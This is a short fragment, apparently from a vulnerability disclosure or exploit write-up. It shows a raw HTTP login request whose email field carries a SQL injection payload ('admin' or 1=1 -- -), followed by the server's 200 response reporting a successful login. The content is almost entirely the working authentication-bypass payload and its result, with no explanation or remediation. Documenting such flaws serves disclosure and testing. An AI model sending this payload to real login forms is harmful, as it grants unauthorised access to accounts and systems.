Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl




email=admin'+or+1=1+--+-&password=123123213




response




HTTP/1.1 200 OK

Date: Wed, 10 Nov 2021 02:23:38 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

X-Powered-By: PHP/8.0.2

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 48




{"status":"success","msg":"Login successfully."}




---